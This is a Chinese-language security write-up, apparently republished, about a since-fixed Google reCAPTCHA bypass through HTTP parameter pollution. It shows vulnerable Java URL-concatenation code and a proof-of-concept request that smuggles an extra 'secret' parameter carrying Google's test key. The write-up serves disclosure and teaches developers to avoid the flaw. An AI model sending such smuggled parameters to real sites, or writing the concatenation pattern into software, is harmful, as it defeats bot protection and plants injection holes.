利用HTTP參數(shù)污染方式繞過谷歌recaptcha驗證機制的示例分析

利用HTTP參數(shù)污染方式繞過谷歌recaptcha驗證機制的示例分析，相信很多沒有經(jīng)驗的人對此束手無策，為此本文總結了問題出現(xiàn)的原因和解決方法，通過這篇文章希望你能解決這個問題。

今年初，我上報了一個谷歌reCAPTCHA驗證碼繞過漏洞，該漏洞在于能用一種HTTP參數(shù)污染的不安全方式，讓Web頁面上的reCAPTCHA構造一個針對 /recaptcha/api/siteverify 的請求，在這種情況下，攻擊者可以每次都能繞過reCAPTCHA的安全驗證機制。之后，谷歌從reCAPTCHA API的頂層接口上對這個漏洞進行了修復。在此，我們一起來看看reCAPTCHA機制是如何被繞過的。

reCAPTCHA驗證機制介紹

reCAPTCHA是谷歌提供的一項免費驗證服務，可以方便Web應用開發(fā)者把驗證碼認證（CAPTCHA）機制添加到一些需要進行人機身份驗證或其它形式驗證的網(wǎng)站中。reCAPTCHA服務存在很多實際用例，比如，有時候它會用你登錄網(wǎng)站的cookie進行驗證，而有時候它又會讓用戶手動地去完成一些它提供的識別測試。

我是從對某目標網(wǎng)站的訪問中發(fā)現(xiàn)這個漏洞的。當訪問目標網(wǎng)站之后，就像下圖一樣，網(wǎng)站需要驗證用戶身份，此時，調用了谷歌 reCAPTCHA API 接口顯示一組圖片或數(shù)字，讓用戶進行選擇：

當用戶點擊驗證碼CAPTCHA進行“驗證”（Verify）時，會觸發(fā)一個指向訪問網(wǎng)站的HTTP請求，該請求大致如下：

POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com
recaptcha-response={reCAPTCHA-generated-hash}

之后，目標訪問網(wǎng)站需要調用谷歌的reCAPTCHA API接口，讓用戶對該API提供的驗證作出測試，然后根據(jù)該測試響應來驗證用戶身份。調用谷歌reCAPTCHA API接口過程的POST請求如下：

POST /recaptcha/api/siteverify HTTP/1.1
Content-Length: 458
Host: www.google.com
Content-Type: application/x-www-form-urlencoded
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}

其中， {application-secret} 是用來對目標網(wǎng)站的驗證，而 {reCAPTCHA-generated-hash} 是向谷歌reCAPTCHA API接口發(fā)送的一個響應查詢，如果用戶的最終測試是正確的，則API會返回以下響應信息：

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90
{
  "success": true,
  "challenge_ts": "2018-01-29T17:58:36Z",
  "hostname": "..."
}

這個響應信息最終會被目標訪問網(wǎng)站接收到，之后，根據(jù)這個響應信息進行處理，最終會允許用戶去訪問到相應的網(wǎng)站資源。

HTTP 參數(shù)污染  

HTTP 參數(shù)污染，或者叫HPP，是網(wǎng)站在接受用戶輸入時，將其用于生成發(fā)往其它系統(tǒng)的 HTTP 請求，并且不校驗用戶輸出的時候發(fā)生，這主要是源于不同的網(wǎng)站對不同請求參數(shù)的處理方式不同。

HTTP 參數(shù)污染可能存在客戶端或服務端等很多地方，其風險程度也依不同環(huán)境而有所不同，在一些特定場景或實際應用中，它可以導致數(shù)據(jù)泄露，但在另外一些用例中，它也可能僅只是一個低風險漏洞。

我們這里的谷歌reCAPTCHA繞過過程中，需要用到目標訪問網(wǎng)站中的HTTP參數(shù)污染方法，因此，這個繞過方式的特殊需求構造，最終也降低了谷歌對該漏洞的分類評級。

以下為存在reCAPTCHA繞過可能的目標網(wǎng)站請求實例：

private String sendPost(String CaptchaResponse, String Secret) throws Exception {
    String url = "https://www.google.com/recaptcha/api/siteverify"+"?response="+CaptchaResponse+"&secret="+Secret;
    URL obj = new URL(url);
    HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();

其中的字符串連接符 + 是用來連接不同的url變量。

需要注意的是，在谷歌的API服務器后端，發(fā)送以下兩個HTTP請求，會得到相同的響應消息。

POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}

POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...
recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}&secret={another-secret-application-secret}

兩個POST請求中都有 response 和 secret 參數(shù)。在第二個POST請求中，谷歌的reCAPTCHA API 總會采用其中的第一個secret參數(shù)，從而忽略掉第二個secret參數(shù)。嚴格來說，這不是一個reCAPTCHA API 本身存在的漏洞，而是一種誤用機制，但可以被用來進行深入的攻擊利用。

漏洞利用關鍵點

Web開發(fā)人員需要以自動化的方式測試他們的應用程序，為此Google提供了一種在臨時模擬環(huán)境中“禁用”reCAPTCHA驗證的簡單方法?？梢渣c擊這里的Google說明文檔來參閱，總之，如果要禁用reCAPTCHA驗證，請使用下面所示的硬編碼站點和密鑰：

Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI

Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

測試利用PoC

現(xiàn)在，我們有了所有必須的測試要素，我們來看看如何利用：

POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com
recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

如果目標訪問網(wǎng)站可能存在HTTP參數(shù)污染，而且其URL鏈接是在secret參數(shù)之前通過添加response參數(shù)來構建的，那么這種情況下的 reCAPTCHA 驗證方式有可能被繞過。

請注意，我要向目標訪問網(wǎng)站發(fā)送一個經(jīng)過構造的假冒響應消息，其中包括以下幾個屬性：

anything: 僅代表一個占位符

%26: 一個經(jīng)url編碼的&符號字符

secret: 我要進行“注入”的參數(shù)名稱

%3d: 一個經(jīng)url編碼的=符號字符

6Le…JWe: 禁用 reCAPTCHA 驗證響應的secret key，也是我們要用到的第一個secret參數(shù)

組合起來之后，就形成了以下由目標網(wǎng)站向谷歌 reCAPTCHA API 發(fā)送的一個HTTP請求：

POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Python-urllib/2.7
recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=6LeYIbsSAAAAAJezaIq3Ft_hSTo0YtyeFG-JgRtu

這個請求中包含了兩個secret參數(shù)，由于目標訪問網(wǎng)站存在HTTP參數(shù)污染可能，所以其中第一個secret參數(shù)可由攻擊者控制，這個參數(shù) 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe 也是谷歌官方給出的禁用 reCAPTCHA 驗證方法的secret key；第二個secret參數(shù)由目標訪問網(wǎng)站自己控制。假定谷歌的  reCAPTCHA API 采用了第一個secret參數(shù)，那么也就間接禁用了 reCAPTCHA驗證，則該請求的響應總會是以下這個：

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90
{
  "success": true,
  "challenge_ts": "2018-01-29T17:58:36Z",
  "hostname": "..."
}

這樣一來，在目標訪問網(wǎng)站處理過這個請求響應之后， reCAPTCHA 會被禁用而繞過，而攻擊者也自然會獲得對網(wǎng)站資源的訪問權限。

谷歌從頂層API上的修復措施

谷歌決定在他們的REST API中來修復這個問題，我認為這是一個非常明智操作。谷歌的修復其實也很簡單：如果對 /recaptcha/API/siteverify 的HTTP請求包含兩個同名的參數(shù)，則會返回一個錯誤消息。通過這種修復方式，可以保護易受HTTP參數(shù)污染攻擊和reCAPTCHA繞過影響的Web應用，而且無需任何更新補丁，非常棒！

在野利用

要在Web應用程序中利用此漏洞，有兩個必須的要求：首先，Web應用程序在創(chuàng)建reCAPTCHA url時存在HTTP參數(shù)污染漏洞：在Github中，我用搜索方法發(fā)現(xiàn)，集成有reCAPTCHA驗證方式的Web開發(fā)架構中有約60%都會受到HTTP參數(shù)污染攻擊。

其次，易受HTTP參數(shù)污染攻擊的Web應用需要首先創(chuàng)建具有response參數(shù)的url，然后再創(chuàng)建secret參數(shù)，也就是形如這樣的url參數(shù)：“response=…&secret=…”，但很奇怪的是，幾乎所有采用reCAPTCHA驗證的的Web應用都是使用了 “secret=…&response=…”這種參數(shù)格式，我想可能是谷歌的文檔和代碼示例就是這樣規(guī)范的，其它框架估計只是復制了這種格式。谷歌在這里就很走運了…如果他們反過來這樣做，這個漏洞會影響到更多網(wǎng)站。GitHub搜索顯示，只有5%到10%的reCAPTCHA驗證機制存在這個response參數(shù)在前且secret參數(shù)在后的構造要求。

所以，如果我想在野外利用這個漏洞，那么最后只有大約3%的使用reCAPTCHA驗證的站點存在這種漏洞，與其它漏洞相比，雖說影響范圍和威力較小，但多少還能構成一些安全威脅。總結來說，作為開發(fā)者，請慎用字符串連接來構建請求字符串url，盡可能使用字典方式來儲存密鑰和鍵值，然后再進行url編碼；作為安全測試方來說，HTTP參數(shù)污染是個不錯的滲透測試方式。

看完上述內容，你們掌握利用HTTP參數(shù)污染方式繞過谷歌recaptcha驗證機制的示例分析的方法了嗎？如果還想學到更多技能或想了解更多相關內容，歡迎關注億速云行業(yè)資訊頻道，感謝各位的閱讀！